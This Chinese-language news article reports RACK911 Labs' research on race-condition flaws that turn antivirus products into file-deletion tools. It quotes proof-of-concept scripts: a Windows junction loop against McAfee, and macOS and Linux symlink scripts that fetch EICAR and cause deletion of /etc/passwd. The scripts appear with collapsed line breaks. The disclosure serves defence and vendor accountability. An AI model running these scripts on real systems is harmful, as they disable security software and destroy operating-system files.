RACK911 Labs安全研究人員透露,幾乎影響所有防病毒產品的漏洞可能已被用來禁用防病毒軟體保護或使作業系統無法使用。
大多數防病毒軟體都會對儲存在磁碟上的未知檔案執行“實時掃描”,如果認為可疑,則這些檔案會被移至要隔離的安全位置,或者從系統中刪除。
研究人員說,問題在於檔案掃描和清理操作之間的時間間隔很小,而且幾乎所有防病毒軟體都以作業系統中最高許可權執行操作。
“其中存在一個基本缺陷,因為檔案操作(幾乎)總是在最高階別執行,這為各種安全漏洞和各種競爭狀況開啟了大門。” RACK911 Labs指出。
在前面提到的防病毒掃描和清理操作之間的時間視窗中,惡意本地使用者或惡意軟體可能會執行競爭狀態,從而濫用特權檔案操作來禁用系統的安全保護或干擾作業系統。
RACK911 Labs提出了一種獨特但簡單的方法,即使用目錄連線(Windows)和符號連結(macOS&Linux)將幾乎所有防病毒軟體變成自毀工具。
概念驗證-針對Windows
概念驗證– Windows:looprd /s /q C:\Users\Username\Desktop\exploitmkdir C:\Users\Username\Desktop\exploitecho X5O!P%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > C:\Users\Username\Desktop\exploit\EpSecApiLib.dllrd /s /q C:\Users\Username\Desktop\exploitmklink /J C:\Users\Username\Desktop\exploit “C:\Program Files (x86)\McAfee\Endpoint Security\Endpoint Security Platform”goto loop*回顯EICAR測試字串的一種替代方法是將其下載到檔案系統:curl -k http://www.eicar.org/download/eicar.com.txt >> C:\ Users \ Username \ Desktop \ exploit \ EpSecApiLib.dll在測試過程中,我們注意到某些防病毒軟體會阻止從官方網站下載EICAR測試字串,但是如果使用其他來源(如Pastebin.com)會成功。
Windows專有的目錄連線將兩個本地系統目錄連結在一起,可以由任何使用者執行,並且不需要管理員級別的特權。因此,在Windows上利用防病毒軟體時,攻擊者可以輕鬆利用它。
針對Windows 視訊說明:
例如,針對Windows的McAfee Endpoint Security使用了上述概念證明來刪除EpSecApiLib.dll檔案。在我們的測試中,我們能夠刪除當前未使用的任何檔案,包括干擾防病毒操作本身的能力。
本質上,幾乎所有針對Windows的防病毒漏洞都是相似的。在某些情況下,我們必須實現超時值,以導致在下載EICAR測試字串和建立目錄連線之間存在延遲。與大多數比賽條件一樣,計時是一切,但很容易就能輕鬆找出確切的數值。
概念驗證– 針對macOS和Linux
在Linux和macOS上,符號連結或“符號連結”是一個快捷方式,其中一個檔案指向另一個檔案,並且可以由任何非特權使用者執行。儘管此類連結也存在於Windows中,但它們要求在此作業系統上具有更高的特權。
說明– macOS和Linux
此漏洞被用於針對MacOS的Kaspersky Internet Security,並從備用來源(Pastebin)下載EICAR測試字串,以繞過實時保護,該實時保護禁止從官方網站下載測試字串。
下載測試字串後,防病毒軟體會立即將該檔案檢測為惡意軟體,並嘗試對其進行清理。在我們的測試中,我們能夠識別出大約6到8秒的延遲,該延遲允許發生競態條件,這可能導致符號連結攻擊,由於該軟體以root身份執行,因此導致所有檔案被刪除。
#!/bin/shrm -rf /Users/Username/exploit ; mkdir /Users/Username/exploitcurl -k https://pastebin.com/raw/jZJ6Ekzt > /Users/Username/exploit/passwdsleep 6rm -rf /Users/Username/exploit ; ln -s /etc /Users/Username/exploit
概念驗證-針對Linux:
值得注意的是,以上針對macOS的概念證明也適用於某些Linux防病毒軟體。在我們的測試中,鑑於大多數檔案操作都是以root使用者身份執行的,因此我們能夠刪除使防病毒軟體或作業系統無法執行的重要檔案。
利用Linux防病毒軟體的好處之一是可以使用多種工具來幫助解決競爭狀況。在我們的案例中,我們發現使用“ inotifywait”非常有幫助。例如,以下概念證明與Eset File Server Security背道而馳:
#!/bin/shrm -rf /home/user/exploit ; mkdir /home/user/exploit/wget -q https://www.eicar.org/download/eicar.com.txt -O /home/user/exploit/passwdwhile inotifywait -m “/home/user/exploit/passwd” | grep -m 5 “OPEN”dorm -rf /home/user/exploit ; ln -s /etc /home/user/exploitdone
以上概念驗證的作用是監視已下載到名為passwd的檔案的EICAR測試字串。藉助“ inotifywait”,可監視惡意passwd檔案的OPEN檔案操作。在第5次OPEN之後,實際的符號連結攻擊發生,這將導致系統/ etc / passwd被刪除,從而對作業系統造成拒絕服務攻擊。
幾乎影響所有防病毒軟體
“在跨Windows,macOS和Linux的測試中,我們能夠輕鬆刪除與防病毒軟體相關的重要檔案,從而使該軟體無效,甚至刪除可能導致嚴重損壞而需要完全重新安裝OS的關鍵作業系統檔案,” RACK911實驗室說。
研究人員還發現,在某些情況下,他們確定了可能允許特權升級的檔案許可和所有權更改。
RACK911 Labs聲稱,已發現的已發現的漏洞幾乎可以影響那裡的所有防病毒軟體,因此利用起來相當簡單,“經驗豐富的惡意軟體作者將不會為概述的策略提供武器。”
攻擊者需要弄清楚目錄連結或符號連結操作的確切時間。但是,研究人員說,找出正確的時機對於本地惡意使用者應該很容易。
研究人員指出:“在我們開發的某些防病毒軟體中,計時根本不重要,而反覆迴圈執行漏洞利用程式的簡單迴圈宣告就足以使防病毒軟體自毀。”
RACK911 Labs釋出了兩種攻擊情形的概念證明,以及一系列經過測試並被發現易受攻擊的防病毒程式的清單.RACK911 Labs表示,它已於2018年秋季開始通知供應商,其中大多數都修補了產品,只有少數例外。
防病毒軟體的當前狀態
RACK911 Labs從2018年秋季開始通知供應商,到目前為止,我們已經報告了所有主要平臺上的安全漏洞,這些漏洞影響著每個知名的防病毒軟體供應商。考慮到有多少供應商易受攻擊,我們相信,還有更多鮮為人知的產品容易受到此類攻擊。
大多數防病毒供應商都已修復了其產品,但有一些不幸的例外。我們從事滲透測試已經很長時間了,從未想過由於不斷缺乏更新並且完全無視修補安全漏洞的緊迫性,防病毒行業的同行將如此難以工作。
現在是2020年春季,我們聯絡的每個防病毒供應商都至少有6個月的時間來修復安全漏洞,我們認為現在是時候將研究成果釋出給公眾了。這篇文章中概述的漏洞利用並不難執行,現在是時候防毒軟體供應商加緊努力以保護其客戶了!
例如,我們還發現macOS和Linux防病毒供應商一直在使用具有可預測檔名的臨時目錄,這可能會導致root特權升級。迄今為止,仍然有許多供應商以不安全的方式寫入/ private / tmp(macOS)或/ tmp(Linux),以致於無法進行進一步的利用。我們不能對此施加足夠的壓力:遠離tmp!
我們希望防病毒軟體供應商能夠重新考慮在使用者可訪問目錄下如何進行檔案操作。無論是Windows,macOS還是Linux,檔案操作都必須以最低許可權進行,以防止發生攻擊,這一點非常重要。必須始終假設使用者是惡意的,並且通過在使用者可及的範圍內執行特權檔案操作,就為各種安全漏洞開啟了大門!
參考:
https://www.rack911labs.com/research/exploiting-almost-every-antivirus-software/
共建網路安全命運共同體